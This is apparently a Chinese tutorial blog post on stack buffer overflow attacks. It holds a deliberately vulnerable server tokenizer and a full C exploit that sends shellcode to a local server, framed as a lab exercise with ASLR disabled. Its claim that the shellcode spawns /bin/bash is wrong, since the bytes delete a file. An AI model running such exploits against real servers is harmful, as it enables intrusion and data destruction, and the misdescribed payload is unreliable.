栈溢出攻击首次提出是在1996年,Aleph One发表了一篇名为Smashing the stack for fun and Profit的文章。介绍了一种在Linux/Unix系统,利用缓冲区溢出的方式来攻击目标程序来改变程序的执行方式的技术。该文章将以前看起来高大上的缓冲区溢出用浅显易懂的方式表达出来,立刻引起了安全界的强烈反应。
下面记录一下我对缓冲区溢出攻击的理解。
首先需要一点预备知识,一个栈的栈底会有一个指向他表示栈的基址,而栈的顶部会有一个esp来指向他,当栈发生变化时esp就会移动。
而esp和ebp之间的内容就是一个栈帧。
栈有什么作用?作用有很多,这里仅仅关注以下几个方面,1.临时变量在栈上分配2.函数调用压参也是保存的栈上的3.以及保存一些函数调用前的寄存器信息等。
以C语言默认调用方式(__cdecl方式)调用时每个函数都会使用一个自己的栈帧即进入函数时,会使用一个全新的ebp和esp指向内存中的位置。
ebp和esp之间的内容就是这个函数的栈帧,如果发生栈溢出,就可以修改ebp--esp之外的内容,此时就会发生比较严重的后果。
C语言函数(__cdecl方式)在调用时会经历一下过程,1从右向左PUSH参数2.PUSH调用某个函数下一条指令的地址(即eip,用于在函数执行完毕后返回地址)
3.进入函数内会将上一个函数的ebp PUSH到栈上(用于调用者的堆栈信息)4.然后将栈顶设置为新的ebp,也就是作为自己的栈基址。
此时内存中的布局如下(以int main(int argc, char* argv[])为例)
------高地址
argv
argc
retrun address(eip)
ebp
临时变量
--------低地址
程序的执行过程是,执行到这个函数最后一条语句的时候,需要返回的时候就会将return address放入eip中,eip是存放下一条需要执行指令的寄存器。如果return address被修改,程序就会在此函数执行结束后跳转到修改后的地址,如果人为的设计一个恶意的代码,让return address修改为恶意代码的地址,程序就被攻击了。
怎么利用缓冲区溢出来攻击程序,任务就是1.设计一个你想要执行的代码段,称为shellcode,通常是写好的纯二进制代码 2.得到shellcode的地址3.然后通过溢出修改return address的值改为shellcode的地址。
怎样发生溢出呢?
通常是没有边界检查的strcpy()将一个很大的数组赋值给一个比较小的分配在栈上的数组。或者其他没有边界检查的数组赋值等等、
因为临时变量在eip 和 ebp的低地址,发生溢出之后可能会覆盖掉eip,ebp。
下面看一个溢出例子:
下面是一个有漏洞的服务器代码片段,
int i = 0;
void getToken (int fd, int sepBySpace)
{
i =0;
int n;
char c;
char s[1024];
switch (ahead){
case A_NONE:
c = getChar (fd);
break;
case A_SPACE:
ahead = A_NONE;
Token_new(token, TOKEN_SPACE, 0);
return;
case A_CRLF:
ahead = A_NONE;
Token_new(token, TOKEN_CRLF, 0);
return;
default:{
char *info = "server bug";
write (1, info, strlen (info));
Http_print (fd, http400);
close (fd);
exit (0);
return;
}
}
while (1){
switch (c){
case ' ':
if (sepBySpace){
if (i){
char *p;
int kind;
// remember the ' '
ahead = A_SPACE;
s[i] = '\0';
p = malloc (strlen(s)+1);
strcpy (p, s);
kind = Token_getKeyWord (p);
if (kind>=0){
Token_new (token, kind, 0);
return;
}
Token_new (token, TOKEN_STR, p);
return;
}
Token_new(token, TOKEN_SPACE, 0);
return;
}
s[i++] = c;
break;
case '\r':{
char c2;
c2 = getChar (fd);
if (c2=='\n'){
if (i){
char *p;
int kind;
// remember the ' '
ahead = A_CRLF;
s[i] = '\0';
p = malloc (strlen(s)+1);
strcpy (p, s);
kind = Token_getKeyWord (p);
if (kind>=0){
Token_new (token, kind, 0);
return;
}
Token_new (token, TOKEN_STR, p);
return;
}
Token_new(token, TOKEN_CRLF, 0);
return;
}
s[i++] = c;
s[i++] = c2;
break;
}
default:
s[i++] = c;//没有边界检查
break;
}
c = getChar (fd);
}
return;
}
注意代码注释的地方,s[i++] = c;并没有做边界检查。因为s[1024]是1024大小,如果传一个大于1024字节的数据过去,就可以发生溢出,然后修改return address。
如果要攻击的话,我们可以构造攻击代码,传递一个比较大的数组覆盖s[1024], 在服务器用gdb调试取得return address在内存中的地址,s[0]的地址,然后计算出偏移地址,这里已经计算好,在s[1064]的位置。
溢出的时候用一段shellcode复制到s数组里面,然后修改return address为s[0]的地址即可。
下面是攻击代码
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/shm.h>
#define PORT 8080
const char shellcode[] =
"\x31\xc0\x50\x68\x2e\x74\x78\x74\x68\x61\x64\x65\x73\x68\x72\x2f\x67\x72\x68\x65\x72\x76\x65\x68\x65\x64\x2f\x73\x68\x65\x2f\x73\x65\x68\x2f\x68\x6f\x6d\x89\xe3\xb0\x0a\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80\xc9\xc3";
int main(int argc, char *argv[])
{
int port = PORT;
if (argc>1)
port = atoi(argv[1]);
int sock_client = socket(AF_INET,SOCK_STREAM, 0);//sock fd
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port); //server port
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ///server ip address
if (connect(sock_client, (struct sockaddr *)&addr, sizeof(addr)) < 0)
{
perror("connect");
exit(1);
}
printf("sock_client = %d\n",sock_client);
char req[1072];
int i = 0;
for(; i < 1072; ++i)
{
req[i] = '\x90';//x90为NOP指令,无操作。填充到数组的首部,增加成功率,返回地址指向任意一个NOP上程序都可以往后执行到shellcode。
}
long *addr_ptr;
addr_ptr = (long*) req;
req[1068] = '\r';//HTTP请求以\r\n\r\n结尾
req[1069] = '\n';
req[1070] = '\r';
req[1071] = '\n';
addr_ptr = (long*) (&req[1064]); //return address
*addr_ptr =(long)(0xbffff9e4);//修改return address为0xbffff9e4,这个地址是用gdb调试得出来的s[0]的地址。
i = 100;
int j = 0;
for(;j < strlen(shellcode);++j,++i)
{
req[i] = shellcode[j];//将shellcode赋值到req里面。
}
write(sock_client,req,strlen(req));//发送请求。
//receive the response from web server
char resp[1024];
int num = 0;
while(read (sock_client, &resp[num], 1))
num++;
resp[num] = 0;
printf("Response = %s\n",resp);
close(sock_client);
return 0;
}
通过上面的程序,把一个1072字节的数组赋值给1024字节的数组,最终会覆盖修改return address,我们把要覆盖return address的数组内容改成了,s[0]的地址,所以函数结束返回的时候就会返回到s[0]的首地址开始执行了。
这个shellcode的内容是执行/bin/bash。如果攻击成功终端上就会显示#了
把shellcode修改为其他内容,例如删除文件,或者下载文件就会完成相应的操作了。
此实验需要把服务器的地址随机化(ALSR)关闭,这样每次运行服务器,地址就不会变了。
之后针对栈溢出的一些保护措施,stack guard,canary,栈不可执行,地址随机化将溢出攻击的难度提高了很多。当然攻击技术也随着发展。